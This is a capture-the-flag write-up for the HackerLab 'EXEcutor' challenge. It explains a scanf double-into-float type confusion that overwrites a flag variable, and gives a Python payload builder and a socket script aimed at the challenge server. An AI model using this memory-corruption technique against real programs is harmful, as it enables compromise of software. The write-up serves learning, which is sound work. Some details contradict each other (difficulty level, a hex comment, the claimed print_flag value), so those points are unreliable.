EXEcutor - HackerLab PWN
EXEcutor - HackerLab PWN
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: NA
Summary
Task: Windows PE32+ calculator with scanf type confusion vulnerability. Solution: Exploit scanf reading 8-byte double into 4-byte float to overflow into print_flag variable, using magic value 1337 and crafted double number.
EXEcutor - HackerLab PWN
Task Information
- Event: HackerLab
- Name: EXEcutor
- Category: PWN
- Difficulty: easy
- Points: 200
- Flag:
CODEBY{REDACTED}
Description
Ну наконец-то я скачал винду! И даже калькулятор в ней написал, но он что-то странно работает...
Analysis
Binary
Windows PE32+ x86-64 calculator with operations +, -, *, /, %.
Variable Layout in Memory
0x404024: operator (1 byte)
0x404028: result (8 bytes, double)
0x404030: num2 (4 bytes, float)
0x404034: print_flag (4 bytes, int)
Vulnerability
scanf("%lf", &num2)reads 8 bytes (double) into num2 address- num2 occupies only 4 bytes (float)
- The next 4 bytes overwrite
print_flag
Flag Output Condition
With operator % and num1 == 1337.0 (magic value "LEET"), if print_flag == 1, the flag is printed.
Exploit
Constructing the Magic Double
We need a number where:
- First 4 bytes (float) != 0 (to avoid division by zero)
- Byte 4 == 0x01 (so that print_flag == 1)
python read-only • copy allowedimport struct # Construct: float(1.0) + bytes([1, 0, 0, 0]) float_bytes = struct.pack('<f', 1.0) # 0x3f800000 flag_bytes = bytes([1, 0, 0, 0]) combined = float_bytes + flag_bytes # Result: 0x400000013f800000 # But we need a normalized number (not subnormal) # Use: bytes([1, 0, 80, 3f, 1, 0, 0, 40]) target = bytes([0x01, 0x00, 0x80, 0x3f, 0x01, 0x00, 0x00, 0x40]) magic_double = struct.unpack('<d', target)[0] # = 2.0000023804605011613
Solution
python read-only • copy allowedimport socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('62.173.140.174', 17901)) s.recv(4096) # Enter operator s.send(b'%\n') s.recv(4096) # Enter first number s.send(b'1337\n') # Magic value! s.recv(4096) # Enter second number s.send(b'2.0000023804605011613\n') # Overflow into print_flag print(s.recv(4096).decode()) # CODEBY{REDACTED}
Key Points
- Type confusion: scanf reads double (8 bytes) into float (4 bytes)
- Magic value 1337: Need to know that num1 must be 1337, not 0
- Normalized numbers: Subnormal numbers may not parse correctly on Windows
- Little-endian: Byte 4 of double goes into the first byte of print_flag
Tags
buffer-overflow type-confusion scanf windows float-double